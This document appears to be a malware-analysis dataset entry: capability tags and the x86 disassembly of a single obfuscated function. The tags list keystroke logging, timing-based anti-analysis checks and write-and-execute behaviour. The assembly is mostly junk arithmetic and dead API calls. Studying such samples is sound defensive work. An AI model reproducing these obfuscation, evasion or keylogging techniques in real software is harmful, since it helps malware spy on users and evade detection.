Function at 0x1002d938
Capabilities:
Allocate thread local storage
Check for time delay via gettickcount
Check for time delay via queryperformancecounter
Check os version
Clear file content
Create pipe
Create process on windows
Create thread
Create two anonymous pipes
Delete file
Enumerate gui resources
Extract resource via kernel32 functions
Get common file path
Get disk information
Get disk size
Get system information on windows
Get thread local storage value
Identify system language via api
Log keystrokes via polling
Query environment variable
Query or enumerate registry value
Query service status
Read .ini file
Write and execute a file

Disassembly:
mov eax, 0x10083d36
call fcn.100836e8
mov eax, 0x140c
call fcn.1006bb60
push ebx
mov dword [ebp - 0x14], 8
xor eax, eax
push esi
mov dword [ebp - 0x54], eax
or esi, 0xffffffff
mov dword [ebp - 0x34], 0x76270e7a
push edi
mov dword [ebp - 0x44], esi
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0x13
push 1
mov byte [ebp - 0x61], dl
mov dword [ebp - 0x5c], ecx
pop edi
jg 0x1002da1a
mov dword [ebp - 0x24], 0xa8fecf79
mov dword [ebp - 0x30], 0x84edc022
mov dword [ebp - 0x1c], eax
jmp 0x1002d9a2
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x340], 0x41fd9d08
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x1002d991
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x340], eax
imul eax, dword [ebp - 0x340], 0x3b6f
mov edx, dword [ebp - 0x24]
push 0
dec eax
neg eax
sbb eax, eax
xor ecx, ecx
inc eax
imul edx, eax
mov eax, dword [ebp - 0x54]
cmp edx, eax
setge cl
mov dword [ebp - 0x54], ecx
mov edx, dword [ebp - 0x54]
sub edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x24]
inc edx
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setge cl
mov dword [ebp - 0x24], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x30]
mov edx, dword [ebp - 0x34]
sub edx, eax
mov eax, dword [ebp - 0x30]
cmp edx, eax
pop eax
setl cl
mov dword [ebp - 0x44], ecx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0x13
jle 0x1002d97e
mov ebx, dword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], 0
je 0x1002da33
push 0x162b
push eax
call ebx
xor eax, eax
mov dword [ebp - 0x14], 8
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x34], 0x76270e7a
mov dword [ebp - 0x44], esi
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0x13
jg 0x1002daf0
mov dword [ebp - 0x24], 0xa8fecf79
mov dword [ebp - 0x30], 0x84edc022
mov dword [ebp - 0x1c], eax
jmp 0x1002da78
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x2e8], 0x41fd9d08
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x1002da67
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x2e8], eax
imul eax, dword [ebp - 0x2e8], 0x3b6f
mov edx, dword [ebp - 0x24]
push 0
dec eax
neg eax
sbb eax, eax
xor ecx, ecx
inc eax
imul edx, eax
mov eax, dword [ebp - 0x54]
cmp edx, eax
setge cl
mov dword [ebp - 0x54], ecx
mov edx, dword [ebp - 0x54]
sub edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x24]
inc edx
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setge cl
mov dword [ebp - 0x24], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x30]
mov edx, dword [ebp - 0x34]
sub edx, eax
mov eax, dword [ebp - 0x30]
cmp edx, eax
pop eax
setl cl
mov dword [ebp - 0x44], ecx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0x13
jle 0x1002da54
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], 0
je 0x1002db03
push 0x162b
push eax
call ebx
xor eax, eax
mov dword [ebp - 0x20], 5
mov edx, eax
mov dword [ebp - 0x34], edi
cmp dword [ebp - 0x20], eax
je 0x1002db16
mov edx, edi
mov eax, dword [ebp - 0x20]
xor ecx, ecx
cmp eax, edx
setle cl
mov dword [ebp - 0x34], ecx
mov eax, dword [ebp - 0x34]
add eax, dword [ebp - 0x20]
je 0x1002db44
xor eax, eax
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], al
je 0x1002db58
push eax
push 0x2654
push eax
call dword [sym.imp.GDI32.dll_ExtCreateRegion]
jmp 0x1002db56
xor eax, eax
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], al
je 0x1002db56
push eax
push eax
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
xor eax, eax
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x54], 0xb733c633
mov dword [ebp - 0x30], 8
mov dword [ebp - 0x44], 0xfffffffa
mov dword [ebp - 0x3c], 0x9d70cadd
mov dword [ebp - 0x34], 0xbc00eadd
mov dword [ebp - 0x38], 0x901516ea
mov dword [ebp - 0x14], eax
jmp 0x1002db9b
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xea4], 0xb6eb6b9d
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x1002db8a
mov eax, dword [ebp - 0x30]
inc dword [ebp - 0x30]
cmp eax, 3
jae 0x1002dbb0
mov esi, edi
jmp 0x1002dbb4
xor eax, eax
mov esi, eax
mov ecx, dword [ebp - 0x44]
xor edx, edx
mov eax, dword [ebp - 0x54]
cmp ecx, eax
setge dl
add edx, dword [ebp - 0x54]
je 0x1002dbe5
mov eax, dword [ebp - 0x3c]
xor ecx, ecx
inc dword [ebp - 0x3c]
mov dword [ebp - 0x54], edi
mov eax, dword [ebp - 0x54]
cmp eax, 0xe889
setl cl
cmp ecx, dword [ebp - 0x34]
jl 0x1002dbe5
mov edx, edi
jmp 0x1002dbe9
xor eax, eax
mov edx, eax
mov eax, dword [ebp - 0x34]
xor ecx, ecx
cmp edx, eax
setl cl
imul ecx, esi
sub ecx, dword [ebp - 0x38]
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
or esi, 0xffffffff
mov dword [ebp - 0xea4], ecx
mov dword [ebp - 0x28], 8
mov dword [ebp - 0x34], 0x16f93bd5
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x44], 0x9f486485
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 4
jge 0x1002dc3f
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0xca8], esi
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 4
jl 0x1002dc2a
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 2
jge 0x1002dc61
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x270], 0
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 2
jl 0x1002dc48
xor eax, eax
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], 0
je 0x1002dc71
push eax
call dword [sym.imp.GDI32.dll_CreatePatternBrush]
mov eax, dword [ebp - 0xca8]
xor edx, edx
mov eax, dword [ebp - 0xc9c]
mov eax, dword [ebp - 0x270]
mov eax, dword [ebp - 0x270]
mov eax, dword [ebp - 0x270]
mov ecx, dword [ebp - 0xca4]
mov eax, dword [ebp - 0x30]
cmp eax, ecx
setge dl
mov dword [ebp - 0x34], edx
xor edx, edx
mov ecx, dword [ebp - 0x26c]
mov eax, dword [ebp - 0x34]
cmp eax, ecx
mov eax, dword [ebp - 0x270]
setle dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x270]
setl cl
xor edx, edx
add ecx, 0xffff0a5e
cmp ecx, eax
mov eax, dword [ebp - 0xca8]
setl dl
xor ecx, ecx
cmp eax, edx
mov eax, dword [ebp - 0x30]
setl cl
add eax, ecx
xor ecx, ecx
cmp eax, 6
setne cl
xor eax, eax
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x34], 0x76270e7a
mov dword [ebp - 0x18], 0xed9ba07e
mov dword [ebp - 0x54], 0xd9ee1c97
mov dword [ebp - 0x14], 0xfd77ccca
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x38], 0xfffffffe
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], al
je 0x1002dd36
push eax
push 0x9c
push eax
push eax
push 0x474
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov eax, dword [ebp - 0x18]
xor edx, edx
mov dword [ebp - 0x54], 0x85faafe3
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
cmp ecx, eax
setne dl
cmp edx, dword [ebp - 0x18]
jl 0x1002dd5b
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x14], esi
mov eax, dword [ebp - 0x14]
sub eax, 0x1af6658d
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x38], eax
xor eax, eax
mov dword [ebp - 0x44], esi
mov dword [ebp - 0x54], 0x22e9
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x34], 0xfffe
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], edi
jge 0x1002ddd4
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x94], 0xfffffff7
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edi
jl 0x1002ddbc
xor eax, eax
push 3
mov dword [ebp - 0x24], eax
pop esi
jmp 0x1002dded
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x10d8], 0xfffffff6
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], esi
jl 0x1002dddc
mov eax, dword [ebp - 0x94]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x94]
mov eax, dword [ebp - 0x94]
mov eax, dword [ebp - 0x94]
mov dword [ebp - 0x10d0], eax
mov ecx, dword [ebp - 0x94]
imul ecx, eax
mov eax, dword [ebp - 0x94]
push 0xfffffffffffffff8
sub ecx, 0x36efa05e
neg ecx
sbb ecx, ecx
xor edx, edx
neg ecx
cmp ecx, 0xc576
sete dl
xor ecx, ecx
sub edx, 0x61a6b719
imul edx, eax
mov eax, dword [ebp - 0x54]
sub edx, eax
mov eax, dword [ebp - 0x54]
cmp edx, eax
pop edx
setne cl
xor eax, eax
mov dword [ebp - 0x44], ecx
dec dword [ebp - 0x34]
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0x13
jg 0x1002e1f6
mov dword [ebp - 0x14], eax
push 4
mov dword [ebp - 0x24], eax
pop ecx
cmp dword [ebp - 0x24], ecx
jge 0x1002de92
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x11ac], 0xe48d327c
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ecx
jl 0x1002de7a
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], ecx
jge 0x1002deb2
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x700], 0xdb505206
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ecx
jl 0x1002de9a
xor eax, eax
mov dword [ebp - 0x6fc], eax
cmp dword [ebp - 0x6fc], ecx
jge 0x1002dee1
mov eax, dword [ebp - 0x6fc]
mov dword [ebp + eax*4 - 0x11ac], 0
inc dword [ebp - 0x6fc]
cmp dword [ebp - 0x6fc], ecx
jl 0x1002dec0
xor eax, eax
mov dword [ebp - 0x14], edx
cmp dword [ebp - 0x14], 0xfffffffa
jne 0x1002df16
mov dword [ebp - 0x44], 0x3707
cmp dword [ebp - 0x44], eax
jne 0x1002df13
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], 0
je 0x1002df0a
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_EnumResourceTypesW]
xor eax, eax
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xfffffffa
je 0x1002deea
push 4
pop ecx
mov dword [ebp - 0x40], 0xa8fecf79
mov dword [ebp - 0x1c], 0x32b1cecb
mov dword [ebp - 0x58], 0xfffffffa
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], edi
jge 0x1002df4b
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0xd8], 0
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edi
jl 0x1002df33
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], ecx
jge 0x1002df6b
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x11c4], 0x8d239be9
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ecx
jl 0x1002df53
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], eax
jl 0x1002e0c4
mov dword [ebp - 0x24], 0x9f7fd1e8
mov dword [ebp - 0x54], edi
mov dword [ebp - 0x2c], 0x145c
mov dword [ebp - 0x44], 0xa4087b33
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x1002dfab
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1018], ecx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x1002df97
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], eax
jl 0x1002e02b
or ecx, 0xffffffff
mov dword [ebp - 0x14], 0xb9dd952e
mov dword [ebp - 0x18], 0xfffffffd
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x2c], 0x253a34c8
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], eax
jl 0x1002dfe1
mov dword [ebp - 0x34], ecx
inc dword [ebp - 0x34]
dec dword [ebp - 0x14]
jns 0x1002dfd6
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], eax
jg 0x1002e026
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], eax
jl 0x1002e01b
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], eax
jl 0x1002e016
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], 0
je 0x1002e011
push eax
push 0x1981
push eax
call dword [sym.imp.OLEAUT32.dll_SafeArrayLock]
xor eax, eax
dec dword [ebp - 0x54]
jns 0x1002dff9
dec dword [ebp - 0x14]
jns 0x1002dff1
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], eax
jle 0x1002dfe9
or ecx, 0xffffffff
dec dword [ebp - 0x24]
jns 0x1002dfb6
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0xd8]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x1018], eax
test eax, eax
je 0x1002e051
mov eax, dword [ebp - 0xd8]
cmp dword [ebp - 0x58], eax
jl 0x1002e051
mov edx, edi
jmp 0x1002e055
xor eax, eax
mov edx, eax
mov eax, dword [ebp - 0x24]
xor ecx, ecx
cmp eax, edx
mov eax, dword [ebp - 0x58]
setl cl
xor edx, edx
cmp ecx, 0xb2bc
setl dl
xor ecx, ecx
cmp edx, eax
setne cl
cmp ecx, 7
sbb eax, eax
neg eax
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0xd8]
imul eax, dword [ebp - 0xd8], 0xc28c
test eax, eax
jne 0x1002e09e
cmp dword [ebp - 0x24], eax
je 0x1002e0a0
mov eax, edi
mov dword [ebp - 0x11b8], eax
mov ecx, dword [ebp - 0x44]
add ecx, eax
mov eax, dword [ebp - 0x1c]
push 0
mov dword [ebp + eax*4 - 0xd8], ecx
dec dword [ebp - 0x1c]
pop eax
push 4
pop ecx
jns 0x1002df77
mov dword [ebp - 0x44], 0x8acc4b7c
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x1002e0eb
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x204], 0x7ddc85f7
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x1002e0d3
xor eax, eax
mov dword [ebp - 0x1fc], eax
cmp dword [ebp - 0x1fc], 0xfffffff4
jge 0x1002e15e
mov dword [ebp - 0x38], edi
xor ecx, ecx
mov dword [ebp - 0x44], 0xc58bdfad
mov eax, dword [ebp - 0x1fc]
cmp eax, 0xfffffffd
setge cl
cmp dword [ebp - 0x1fc], ecx
jne 0x1002e131
mov eax, dword [ebp - 0x1fc]
sub eax, dword [ebp - 0x1fc]
mov dword [ebp - 0x44], eax
jne 0x1002e131
xor eax, eax
mov ecx, eax
jmp 0x1002e133
mov ecx, edi
mov eax, dword [ebp - 0x1fc]
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x38]
setge dl
xor ecx, ecx
cmp eax, edx
setg cl
mov dword [ebp - 0x44], ecx
dec dword [ebp - 0x1fc]
cmp dword [ebp - 0x1fc], 0xfffffff4
jl 0x1002e0fa
xor eax, eax
mov dword [ebp - 0x30], 0x84edc022
mov dword [ebp - 0x14], eax
jmp 0x1002e17b
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x364], 0x41fd9d08
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x1002e16a
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x364], eax
imul eax, dword [ebp - 0x364], 0x3b6f
mov edx, dword [ebp - 0x40]
push 0
dec eax
neg eax
sbb eax, eax
xor ecx, ecx
inc eax
imul edx, eax
mov eax, dword [ebp - 0x3c]
cmp edx, eax
setge cl
mov dword [ebp - 0x3c], ecx
mov edx, dword [ebp - 0x3c]
sub edx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x40]
inc edx
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setge cl
mov dword [ebp - 0x40], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x30]
mov edx, dword [ebp - 0x34]
sub edx, eax
mov eax, dword [ebp - 0x30]
cmp edx, eax
pop eax
setl cl
mov dword [ebp - 0x44], ecx
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0x13
push 0xfffffffffffffff8
pop edx
jle 0x1002de6c
mov dword [ebp - 0x30], eax
or ecx, 0xffffffff
mov dword [ebp - 0x14], 0x70c3099c
mov dword [ebp - 0x44], 0xfd9d0890
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x50], 0x9b69
mov dword [ebp - 0x2c], 0xdad816f9
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x800], edi
mov dword [ebp - 0x7fc], edi
mov dword [ebp - 0x7f8], edi
mov dword [ebp - 0x7f4], edi
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x34], edi
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], esi
jge 0x1002e25c
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0xae0], 0x3718bd85
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], esi
jl 0x1002e244
xor eax, eax
mov dword [ebp - 0x24], eax
jmp 0x1002e272
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x8f8], 0
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], esi
jl 0x1002e261
mov dword [ebp - 0x30], 0xfffffff9
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x30]
sub ecx, eax
neg ecx
sbb ecx, ecx
inc ecx
mov dword [ebp - 0x14], ecx
mov eax, dword [ebp - 0xadc]
mov dword [ebp - 0xae0], eax
mov eax, dword [ebp - 0x8f0]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x8f8]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x14]
dec dword [ebp - 0x7f8]
mov eax, dword [ebp - 0x7f8]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x8f0]
mov eax, dword [ebp - 0x3c]
cmp eax, dword [ebp - 0x8f0]
jne 0x1002e2f2
xor eax, eax
cmp dword [ebp - 0xadc], eax
je 0x1002e2f4
mov eax, edi
jmp 0x1002e2f4
xor eax, eax
imul eax, eax, 0xf455
mov dword [ebp - 0x34], eax
xor eax, eax
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], al
je 0x1002e311
push 0x162b
push eax
call ebx
xor eax, eax
or ecx, 0xffffffff
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x3c], 0xb733c633
mov dword [ebp - 0x30], 8
mov dword [ebp - 0x44], 0xfffffffa
mov dword [ebp - 0x58], 0x9d70cadd
mov dword [ebp - 0x34], 0xbc00eadd
mov dword [ebp - 0x38], 0x901516ea
mov dword [ebp - 0x14], eax
jmp 0x1002e357
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xe64], 0xb6eb6b9d
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x1002e346
mov eax, dword [ebp - 0x30]
inc dword [ebp - 0x30]
push 3
pop ebx
cmp eax, ebx
jae 0x1002e36e
mov esi, edi
jmp 0x1002e372
xor eax, eax
mov esi, eax
mov ecx, dword [ebp - 0x44]
xor edx, edx
mov eax, dword [ebp - 0x3c]
cmp ecx, eax
setge dl
add edx, dword [ebp - 0x3c]
je 0x1002e3a3
mov eax, dword [ebp - 0x58]
xor ecx, ecx
inc dword [ebp - 0x58]
mov dword [ebp - 0x3c], edi
mov eax, dword [ebp - 0x3c]
cmp eax, 0xe889
setl cl
cmp ecx, dword [ebp - 0x34]
jl 0x1002e3a3
mov edx, edi
jmp 0x1002e3a7
xor eax, eax
mov edx, eax
mov eax, dword [ebp - 0x34]
xor ecx, ecx
cmp edx, eax
setl cl
imul ecx, esi
sub ecx, dword [ebp - 0x38]
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
mov dword [ebp - 0xe64], ecx
mov dword [ebp - 0x34], 0x16f93bd5
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x44], 0x9f486485
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 4
jge 0x1002e3f6
or ecx, 0xffffffff
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0xc88], ecx
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 4
jl 0x1002e3e1
xor eax, eax
push 2
mov dword [ebp - 0x24], eax
pop esi
cmp dword [ebp - 0x24], esi
jge 0x1002e419
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x2a0], 0
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], esi
jl 0x1002e401
xor eax, eax
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], 0
je 0x1002e429
push eax
call dword [sym.imp.GDI32.dll_CreatePatternBrush]
mov eax, dword [ebp - 0xc88]
xor edx, edx
mov eax, dword [ebp - 0xc7c]
mov eax, dword [ebp - 0x2a0]
mov eax, dword [ebp - 0x2a0]
mov eax, dword [ebp - 0x2a0]
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0xc84]
cmp ecx, eax
setge dl
mov dword [ebp - 0x34], edx
xor edx, edx
mov ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x29c]
cmp ecx, eax
mov eax, dword [ebp - 0x2a0]
setle dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x2a0]
setl cl
xor edx, edx
add ecx, 0xffff0a5e
cmp ecx, eax
mov eax, dword [ebp - 0xc88]
setl dl
xor ecx, ecx
cmp eax, edx
mov eax, dword [ebp - 0x30]
setl cl
add eax, ecx
xor ecx, ecx
cmp eax, 6
setne cl
xor eax, eax
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x28], 8
mov dword [ebp - 0x18], 0xed9ba07e
mov dword [ebp - 0x3c], 0xd9ee1c97
mov dword [ebp - 0x14], 0xfd77ccca
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x38], 0xfffffffe
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], al
je 0x1002e4eb
push eax
push 0x9c
push eax
push eax
push 0x474
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov eax, dword [ebp - 0x18]
xor edx, edx
mov dword [ebp - 0x3c], 0x85faafe3
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
cmp ecx, eax
setne dl
cmp edx, dword [ebp - 0x18]
jl 0x1002e510
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x18]
or eax, 0xffffffff
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
sub eax, 0x1af6658d
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x38], eax
xor eax, eax
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x3c], 0x22e9
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x34], 0xfffe
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], edi
jge 0x1002e58c
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0xac], 0xfffffff7
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edi
jl 0x1002e574
xor eax, eax
mov dword [ebp - 0x24], eax
jmp 0x1002e5a2
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x1060], 0xfffffff6
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jl 0x1002e591
mov eax, dword [ebp - 0xac]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0xac]
mov eax, dword [ebp - 0xac]
mov eax, dword [ebp - 0xac]
mov dword [ebp - 0x1058], eax
mov ecx, dword [ebp - 0xac]
imul ecx, eax
mov eax, dword [ebp - 0xac]
sub ecx, 0x36efa05e
neg ecx
sbb ecx, ecx
xor edx, edx
neg ecx
cmp ecx, 0xc576
sete dl
xor ecx, ecx
sub edx, 0x61a6b719
imul edx, eax
mov eax, dword [ebp - 0x3c]
sub edx, eax
mov eax, dword [ebp - 0x3c]
cmp edx, eax
setne cl
xor eax, eax
mov dword [ebp - 0x44], ecx
or edx, 0xffffffff
dec dword [ebp - 0x34]
mov dword [ebp - 0x34], 0x76270e7a
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x14], 0x70c3099c
mov dword [ebp - 0x44], 0xfd9d0890
mov dword [ebp - 0x38], edx
mov dword [ebp - 0x50], 0x9b69
mov dword [ebp - 0x2c], 0xdad816f9
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x720], edi
mov dword [ebp - 0x71c], edi
mov dword [ebp - 0x718], edi
mov dword [ebp - 0x714], edi
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x34], edi
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], ebx
jge 0x1002e67e
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0xab0], 0x3718bd85
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jl 0x1002e666
xor eax, eax
mov dword [ebp - 0x24], eax
jmp 0x1002e694
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x88c], 0
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jl 0x1002e683
mov dword [ebp - 0x30], 0xfffffff9
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x30]
sub ecx, eax
neg ecx
sbb ecx, ecx
inc ecx
mov dword [ebp - 0x14], ecx
mov eax, dword [ebp - 0xaac]
mov dword [ebp - 0xab0], eax
mov eax, dword [ebp - 0x884]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x88c]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x14]
dec dword [ebp - 0x718]
mov eax, dword [ebp - 0x718]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x884]
